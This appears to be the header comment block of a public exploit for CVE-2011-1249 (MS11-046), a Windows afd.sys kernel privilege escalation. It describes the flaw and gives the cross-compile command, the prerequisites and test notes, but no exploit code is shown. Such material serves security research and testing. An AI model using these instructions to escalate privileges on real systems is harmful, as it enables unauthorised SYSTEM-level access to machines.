# CVE ID: 2011-1249
################################################################
# Vulnerability description:
#   The Ancillary Function Driver (AFD) supports Windows sockets 
#   applications and is contained in the afd.sys file. The afd.sys
#   driver runs in kernel mode and manages the Winsock TCP/IP
#   communications protocol. 
#   An elevation of privilege vulnerability exists where the AFD
#   improperly validates input passed from user mode to the kernel.
#   An attacker must have valid logon credentials and be able to
#   log on locally to exploit the vulnerability.
#   An attacker who successfully exploited this vulnerability could
#   run arbitrary code in kernel mode (i.e. with NT AUTHORITY\SYSTEM
#   privileges).
################################################################
# Exploit notes:
#   Privileged shell execution:
#     - the SYSTEM shell will spawn within the invoking shell/process
#   Exploit compiling (Kali GNU/Linux Rolling 64-bit):
#     - # i686-w64-mingw32-gcc MS11-046.c -o MS11-046.exe -lws2_32
#   Exploit prerequisites:
#     - low privilege access to the target OS
#     - target OS not patched (KB2503665, or any other related
#       patch, if applicable, not installed - check "Related security
#       vulnerabilities/patches")
#   Exploit test notes:
#     - let the target OS boot properly (if applicable)
#     - Windows 7 (SP0 and SP1) will BSOD on shutdown/reset
